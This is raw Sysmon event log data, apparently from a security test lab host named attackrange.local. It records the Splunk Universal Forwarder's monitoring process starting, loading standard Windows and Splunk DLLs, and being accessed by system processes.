15:02:17.281{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.281{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.281{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.281{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000053002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000053001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000052996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.265{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.266{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 